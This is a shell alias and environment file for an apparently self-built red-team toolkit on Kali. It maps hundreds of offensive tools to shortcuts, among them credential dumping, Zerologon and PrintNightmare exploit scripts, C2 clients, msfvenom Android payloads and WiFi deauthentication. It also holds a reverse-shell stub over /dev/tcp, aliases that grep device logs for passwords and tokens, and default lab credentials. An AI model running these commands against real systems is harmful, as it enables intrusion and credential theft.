#!/bin/bash
# RTExit — Aliases & Environment
# Auto-loaded on every shell session

# ── Colors ────────────────────────────────────────
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
BLUE='\033[0;34m'; CYAN='\033[0;36m'; NC='\033[0m'

# ── Banner ────────────────────────────────────────
echo -e "${RED}"
echo "  ██████╗ ████████╗███████╗██╗  ██╗██╗████████╗"
echo "  ██╔══██╗╚══██╔══╝██╔════╝╚██╗██╔╝██║╚══██╔══╝"
echo "  ██████╔╝   ██║   █████╗   ╚███╔╝ ██║   ██║   "
echo "  ██╔══██╗   ██║   ██╔══╝   ██╔██╗ ██║   ██║   "
echo "  ██║  ██║   ██║   ███████╗██╔╝ ██╗██║   ██║   "
echo "  ╚═╝  ╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝   ╚═╝   "
echo -e "${NC}  Red Team Exit Framework v3.0 — Kali Environment"
echo -e "  ${CYAN}189 Skills | 300+ Tools | 16 Lab Targets${NC}"
echo ""

# ═══════════════════════════════════════════════════
# PATHS & ENVIRONMENT
# ═══════════════════════════════════════════════════
export PATH="$PATH:/root/go/bin:/usr/local/bin:/opt/rtexit/scripts"

# SecLists wordlists
export SECLISTS='/opt/SecLists'
export WORDLIST_WEB="$SECLISTS/Discovery/Web-Content/directory-list-2.3-medium.txt"
export WORDLIST_BIG="$SECLISTS/Discovery/Web-Content/big.txt"
export WORDLIST_PARAMS="$SECLISTS/Discovery/Web-Content/burp-parameter-names.txt"
export WORDLIST_PASSWORDS="$SECLISTS/Passwords/Leaked-Databases/rockyou.txt"
export WORDLIST_USERNAMES="$SECLISTS/Usernames/Names/names.txt"
export WORDLIST_SUBDOMAINS="$SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt"
export WORDLIST_SQLI="$SECLISTS/Fuzzing/SQLi/Generic-SQLi.txt"
export WORDLIST_LFI="$SECLISTS/Fuzzing/LFI/LFI-Jhaddix.txt"

# ═══════════════════════════════════════════════════
# CORE
# ═══════════════════════════════════════════════════
alias rt-help='cat /opt/rtexit/HELP.txt 2>/dev/null || echo "Run rt-verify to check tools"'
alias rt-verify='/opt/rtexit/verify-tools.sh'
alias rt-update='cd /opt/rtexit && git pull 2>/dev/null; nuclei -update-templates 2>/dev/null'
alias rt-status='echo "Lab: docker compose ps | Tools: rt-verify | Skills: ls /opt/rtexit/skills/"'

# ═══════════════════════════════════════════════════
# ENGAGEMENT MANAGEMENT
# ═══════════════════════════════════════════════════
alias rt-init='bash /opt/rtexit/scripts/rt-init-engagement.sh'
alias rt-report='bash /opt/rtexit/scripts/rt-report.sh'

# ═══════════════════════════════════════════════════
# RECON & OSINT
# ═══════════════════════════════════════════════════
alias rt-recon='bash /opt/rtexit/scripts/rt-recon.sh'
alias rt-osint='bash /opt/rtexit/scripts/rt-osint.sh'
alias rt-ports='nmap -sV -sC -A -p-'
alias rt-ports-fast='masscan --rate 100000 -p 0-65535'
alias rt-subdomain='subfinder -d'
alias rt-alive='httpx -silent -status-code'
alias rt-tech='whatweb'
alias rt-dns='dnsrecon -d'
alias rt-dns-enum='dnsenum'
alias rt-fierce='fierce --domain'
alias rt-nbtscan='nbtscan'

# OSINT specialized
alias rt-breach='h8mail -t'
alias rt-maigret='maigret'
alias rt-holehe='holehe'
alias rt-ghunt='python3 -m ghunt'
alias rt-crosslinked='python3 /opt/CrossLinked/crosslinked.py 2>/dev/null'
alias rt-spiderfoot='python3 /opt/spiderfoot/sf.py 2>/dev/null || spiderfoot'

# ═══════════════════════════════════════════════════
# WEB APPLICATION
# ═══════════════════════════════════════════════════
alias rt-web='bash /opt/rtexit/scripts/rt-web-full-scan.sh'
alias rt-scan='nuclei -t /opt/nuclei-templates'
alias rt-fuzz='ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u'
alias rt-sqli='sqlmap --level=5 --risk=3 --batch'
alias rt-ghauri='ghauri'
alias rt-xss='dalfox url'
alias rt-params='arjun -u'
alias rt-x8='x8'
alias rt-smuggle='python3 /opt/smuggler/smuggler.py -u'
alias rt-jwt='jwt_tool'
alias rt-graphw00f='python3 -m graphw00f'
alias rt-corscanner='python3 /opt/CORScanner/cors_scan.py 2>/dev/null'
alias rt-oob='interactsh-client -v'
alias rt-oob-server='interactsh-client -server http://192.168.200.90:1281'
alias rt-nikto='nikto -h'
alias rt-wpscan='wpscan --url'

# ═══════════════════════════════════════════════════
# ACTIVE DIRECTORY
# ═══════════════════════════════════════════════════
alias rt-ad='bash /opt/rtexit/scripts/rt-ad-full.sh'
alias rt-bloodhound='bloodhound-python'
alias rt-certipy='certipy'
alias rt-kerberoast='impacket-GetUserSPNs'
alias rt-asrep='impacket-GetNPUsers'
alias rt-secretsdump='impacket-secretsdump'
alias rt-dcsync='impacket-secretsdump -just-dc'
alias rt-psexec='impacket-psexec'
alias rt-smbexec='impacket-smbexec'
alias rt-wmiexec='impacket-wmiexec'
alias rt-winrm='evil-winrm -i'
alias rt-smbmap='smbmap -H'
alias rt-enum4linux='enum4linux-ng'
alias rt-coercer='python3 -m coercer'
alias rt-mitm6='mitm6'
alias rt-donpapi='python3 /opt/DonPAPI/DonPAPI.py 2>/dev/null'
alias rt-nopac='python3 /opt/noPac/noPac.py 2>/dev/null'
alias rt-pyrdp='python3 -m pyrdp.bin.mitm'
alias rt-responder='responder -I eth0 -dwv'

# ═══════════════════════════════════════════════════
# CLOUD
# ═══════════════════════════════════════════════════
alias rt-aws='bash /opt/rtexit/scripts/rt-aws-audit.sh'
alias rt-pacu='python3 /opt/pacu/cli.py'
alias rt-scout='python3 -m scoutsuite'
alias rt-roadtools='roadrecon'
alias rt-roadrecon='roadrecon gather && roadrecon gui'
alias rt-pmapper='pmapper'
alias rt-prowler='prowler'
alias rt-stratus='stratus'
alias rt-teamfiltration='teamfiltration'
alias rt-cloudlist='cloudlist'

# ═══════════════════════════════════════════════════
# PASSWORD & HASHES
# ═══════════════════════════════════════════════════
alias rt-spray='bash /opt/rtexit/scripts/rt-password-spray.sh'
alias rt-crack='hashcat -a 0'
alias rt-ntlm='hashcat -a 0 -m 1000'
alias rt-ntlmv2='hashcat -a 0 -m 5600'
alias rt-kerberoast-crack='hashcat -a 0 -m 13100'
alias rt-wordlist='cewl -d 3 -m 6'
alias rt-patator='patator'
alias rt-onesixtyone='onesixtyone'

# ═══════════════════════════════════════════════════
# C2 & POST-EXPLOITATION
# ═══════════════════════════════════════════════════
alias rt-msf='msfconsole'
alias rt-c2='sliver-client'
alias rt-empire='python3 /opt/Empire/empire 2>/dev/null'
alias rt-villain='python3 /opt/Villain/Villain.py 2>/dev/null'
alias rt-poshc2='python3 /opt/PoshC2/poshc2 2>/dev/null'
alias rt-pivot='chisel'
alias rt-tunnel='ligolo-proxy'
alias rt-lsass='pypykatz'
alias rt-gen-payload='msfvenom'
alias rt-weevely='weevely'

# ═══════════════════════════════════════════════════
# NETWORK & SNIFFING
# ═══════════════════════════════════════════════════
alias rt-mitm='mitmproxy'
alias rt-arp='arpspoof'     # from dsniff package
alias rt-pcap='tcpdump -i eth0 -w'
alias rt-analyze='tshark -r'
alias rt-arpwatch='arpwatch'
alias rt-netsniff='netsniff-ng'
alias rt-hping='hping3'
alias rt-sslstrip='sslstrip'

# ═══════════════════════════════════════════════════
# EXPLOITATION
# ═══════════════════════════════════════════════════
alias rt-searchsploit='searchsploit'
alias rt-beef='beef-xss'
alias rt-routersploit='python3 /opt/routersploit/rsf.py 2>/dev/null'
alias rt-gophish='gophish'
alias rt-evilginx='evilginx3 2>/dev/null || /opt/evilginx3/evilginx3 2>/dev/null'

# ═══════════════════════════════════════════════════
# FORENSICS
# ═══════════════════════════════════════════════════
alias rt-foremost='foremost'
alias rt-dc3dd='dc3dd'
alias rt-testdisk='testdisk'
alias rt-bulk='bulk_extractor'
alias rt-volatility='vol'
alias rt-vol3='python3 /opt/volatility3/vol.py'
alias rt-strings='strings'
alias rt-exif='exiftool'
alias rt-binwalk='binwalk'

# ═══════════════════════════════════════════════════
# BINARY ANALYSIS & REVERSE ENGINEERING
# ═══════════════════════════════════════════════════
alias rt-ghidra='ghidra'
alias rt-r2='radare2'
alias rt-gdb='gdb'
alias rt-jadx='jadx'
alias rt-apktool='apktool'

# ═══════════════════════════════════════════════════
# STEGANOGRAPHY
# ═══════════════════════════════════════════════════
alias rt-steghide='steghide'
alias rt-zsteg='zsteg'
alias rt-stegsolve='stegsolve'
alias rt-exiftool='exiftool'

# ═══════════════════════════════════════════════════
# MOBILE — Core
# ═══════════════════════════════════════════════════
alias rt-frida='frida'
alias rt-adb='adb'
alias rt-objection='objection'
alias rt-mobsf='echo "MobSF: docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf"'
alias rt-apkleaks='apkleaks'
alias rt-drozer='drozer'
alias rt-apktool='apktool'
alias rt-jadx='jadx'
alias rt-dex2jar='d2j-dex2jar'

# ═══════════════════════════════════════════════════
# MOBILE — Advanced (new skills)
# ═══════════════════════════════════════════════════

# Frida Advanced (rt-frida-advanced)
alias rt-frida-setup='setup-frida-server'
alias rt-frida-ps='frida-ps -U'
alias rt-frida-attach='frida -U -n'
alias rt-frida-spawn='frida -U -f'
alias rt-frida-trace='frida-trace -U -n'
alias rt-frida-mem='frida -U -n'

# APK Repackaging (rt-apk-repackaging)
alias rt-apk-sign='uber-apk-signer -a'
alias rt-apk-decompile='apktool d'
alias rt-apk-recompile='apktool b'
alias rt-apk-secrets='apkleaks -f'
alias rt-apk-install='adb install -r'

# SSL Pinning Bypass (rt-mobile-ssl-pinning)
alias rt-ssl-bypass='objection -g'
alias rt-apk-mitm='apk-mitm'
alias rt-reflutter='reflutter'

# Cross-Platform (rt-cross-platform-mobile)
alias rt-hermes-dec='hermes-dec'
alias rt-hbctool='hbctool disasm'
alias rt-doldrums='python3 /opt/doldrums/doldrums.py 2>/dev/null || doldrums'
alias rt-monodis='monodis'
alias rt-ilspy='~/.dotnet/tools/ilspycmd 2>/dev/null || echo "ilspycmd: dotnet tool install --global ilspycmd"'

# Static Analysis (rt-mobile-static-deep)
alias rt-mobile-scan='apkleaks -f'
alias rt-androguard='androguard'
alias rt-trufflehog='trufflehog filesystem'

# Malware / C2 (rt-mobile-malware-c2)
alias rt-android-payload='msfvenom -p android/meterpreter/reverse_https'
alias rt-qrcode='python3 -c "import qrcode,sys; qr=qrcode.make(sys.argv[1]); qr.save(\"/tmp/qr.png\"); print(\"Saved: /tmp/qr.png\")"'
alias rt-fatrat='bash /opt/TheFatRat/fatrat 2>/dev/null || echo "TheFatRat: cd /opt/TheFatRat && bash setup.sh first"'

# Android Intents (rt-android-intent-exploitation)
alias rt-drozer-connect='adb forward tcp:31415 tcp:31415 && drozer console connect'
alias rt-adb-backup='adb backup -noencrypt -noapk'
alias rt-logcat='adb logcat | grep -iE "password|token|secret|key|auth"'
alias rt-content-query='adb shell content query --uri'
alias rt-am-start='adb shell am start -n'
alias rt-am-broadcast='adb shell am broadcast -a'

# ADB Shortcuts
alias rt-adb-shell='adb shell'
alias rt-adb-root='adb root && adb shell'
alias rt-adb-pull-dbs='adb pull /data/data'
alias rt-adb-prefs='adb pull /data/data && find . -name "*.xml" | xargs grep -l "token\|pass\|key" 2>/dev/null'
alias rt-adb-proxy='adb shell settings put global http_proxy'
alias rt-adb-proxy-clear='adb shell settings put global http_proxy :0'

alias rt-peirates='peirates'
alias rt-scarecrow='ScareCrow'

# ═══════════════════════════════════════════════════
# WEB — Advanced (gap analysis v3)
# ═══════════════════════════════════════════════════
alias rt-semgrep='semgrep'
alias rt-tplmap='python3 /opt/tplmap/tplmap.py 2>/dev/null || tplmap'
alias rt-xxeinjector='ruby /opt/XXEinjector/XXEinjector.rb 2>/dev/null'
alias rt-graphql-cop='graphql-cop 2>/dev/null || python3 /opt/graphql-cop/graphql-cop.py'
alias rt-inql='inql'
alias rt-graphw00f='python3 -m graphw00f'

# ═══════════════════════════════════════════════════
# GITHUB / SOURCE CODE RECON (rt-github-recon)
# ═══════════════════════════════════════════════════
alias rt-git-dump='git-dumper'
alias rt-trufflehog-github='trufflehog github --org'
alias rt-trufflehog-git='trufflehog git'
alias rt-gitleaks-scan='gitleaks detect --source'
alias rt-github-search='python3 -c "import sys,subprocess; subprocess.run([\"curl\",\"-s\",\"https://api.github.com/search/code?q=\"+sys.argv[1],\"-H\",\"Authorization: token \"+sys.argv[2]])" 2>/dev/null'

# ═══════════════════════════════════════════════════
# WIFI ATTACKS (rt-wifi-attacks)
# ═══════════════════════════════════════════════════
alias rt-wifi='wifite'
alias rt-wifi-monitor='airmon-ng start'
alias rt-wifi-scan='airodump-ng'
alias rt-wifi-capture='airodump-ng --bssid'
alias rt-wifi-deauth='aireplay-ng --deauth 10 -a'
alias rt-wifi-pmkid='hcxdumptool -i wlan0mon -o /tmp/pmkid.pcapng'
alias rt-wifi-crack='hashcat -a 0 -m 22000'
alias rt-wifi-evil='hostapd-wpe'
alias rt-hcxtools='hcxpcapngtool'

# ═══════════════════════════════════════════════════
# IaC & DEVSECOPS (rt-iac-misconfig)
# ═══════════════════════════════════════════════════
alias rt-checkov='checkov -d'
alias rt-trivy-iac='trivy config'
alias rt-trivy-image='trivy image'
alias rt-syft='syft'
alias rt-grype='grype'
alias rt-steampipe='steampipe'

# ═══════════════════════════════════════════════════
# CLOUD — Advanced (gap analysis v3)
# ═══════════════════════════════════════════════════
alias rt-iam-enum='python3 /opt/enumerate-iam/enumerate-iam.py 2>/dev/null || enumerate-iam'
alias rt-awswhoami='awswhoami'
alias rt-cloud-enum='python3 /opt/cloud_enum/cloud_enum.py'
alias rt-s3scan='s3scanner scan --bucket'
alias rt-azcopy='azcopy'
alias rt-checkov-tf='checkov -d . --framework terraform'

# ═══════════════════════════════════════════════════
# KUBERNETES — Advanced
# ═══════════════════════════════════════════════════
alias rt-kubectx='kubectx'
alias rt-kubens='kubens'
alias rt-kube-bench='kube-bench'
alias rt-helm='helm'
alias rt-kubesploit='kubesploit 2>/dev/null'

# ═══════════════════════════════════════════════════
# ACTIVE DIRECTORY — Advanced (gap analysis v3)
# ═══════════════════════════════════════════════════
alias rt-zerologon='python3 /opt/CVE-2020-1472/cve-2020-1472-exploit.py 2>/dev/null'
alias rt-printnightmare='python3 /opt/PrintNightmare/CVE-2021-1675.py 2>/dev/null'
alias rt-krbrelayx='python3 /opt/krbrelayx/krbrelayx.py 2>/dev/null'
alias rt-adfspooof='python3 /opt/ADFSpoof/ADFSpoof.py 2>/dev/null'
alias rt-krbrelayup='python3 /opt/KrbRelayUp/KrbRelayUp.py 2>/dev/null'
alias rt-syswhispers='python3 /opt/SysWhispers3/SysWhispers.py 2>/dev/null'
alias rt-windapsearch='windapsearch 2>/dev/null || python3 /opt/windapsearch/windapsearch.py'
alias rt-ldeep='ldeep'
alias rt-deathstar='python3 /opt/DeathStar/DeathStar.py 2>/dev/null || deathstar'
alias rt-ghostpack='ls /opt/GhostPack/ && cat /opt/GhostPack/README.txt'

# ═══════════════════════════════════════════════════
# BINARY ANALYSIS — Advanced
# ═══════════════════════════════════════════════════
alias rt-ropgadget='ROPgadget --binary'
alias rt-ropper='ropper -f'
alias rt-angr='python3 -c "import angr; print(angr.__version__)"'
alias rt-yara='yara'
alias rt-yara-rules='ls /opt/yara-rules/'

# ═══════════════════════════════════════════════════
# SUPPLY CHAIN
# ═══════════════════════════════════════════════════
alias rt-sbom='syft'
alias rt-vuln-scan='grype'
alias rt-dep-check='dependency-check'

# ═══════════════════════════════════════════════════
# CONTAINER & KUBERNETES
# ═══════════════════════════════════════════════════
alias rt-cdk='cdk'
alias rt-deepce='deepce'
alias rt-botb='botb'
alias rt-trivy='trivy'
alias rt-dive='dive'

# ═══════════════════════════════════════════════════
# PAYLOAD GENERATION & EVASION
# ═══════════════════════════════════════════════════
alias rt-veil='python3 /opt/Veil/Veil.py 2>/dev/null'
alias rt-macropack='python3 /opt/macro_pack/macro_pack.py 2>/dev/null'
alias rt-donut='godonuts'

# ═══════════════════════════════════════════════════
# PURPLE TEAM
# ═══════════════════════════════════════════════════
alias rt-caldera='echo "Caldera: http://192.168.200.54:8888 | admin:admin"'
alias rt-atomic='ls /opt/atomic-red-team/atomics/ 2>/dev/null'

# ═══════════════════════════════════════════════════
# LAB SHORTCUTS
# ═══════════════════════════════════════════════════
alias rt-mythic='echo "Mythic C2: https://192.168.200.70:7443 | mythic_admin:mythic_password"'
alias rt-ghostwriter='echo "Ghostwriter: http://192.168.200.80:8008 | admin:spectre"'

# ═══════════════════════════════════════════════════
# UTILITY
# ═══════════════════════════════════════════════════
alias rt-encode='python3 -c "import base64,sys; print(base64.b64encode(sys.argv[1].encode()).decode())"'
alias rt-decode='python3 -c "import base64,sys; print(base64.b64decode(sys.argv[1]).decode())"'
alias rt-listen='nc -lvnp'
alias rt-rev='bash -i >& /dev/tcp/'

echo -e "${GREEN}[✓] RTExit v3.0 loaded. Type 'rt-verify' to check tools.${NC}"
echo -e "${YELLOW}[!] Authorized targets only!${NC}"
echo ""
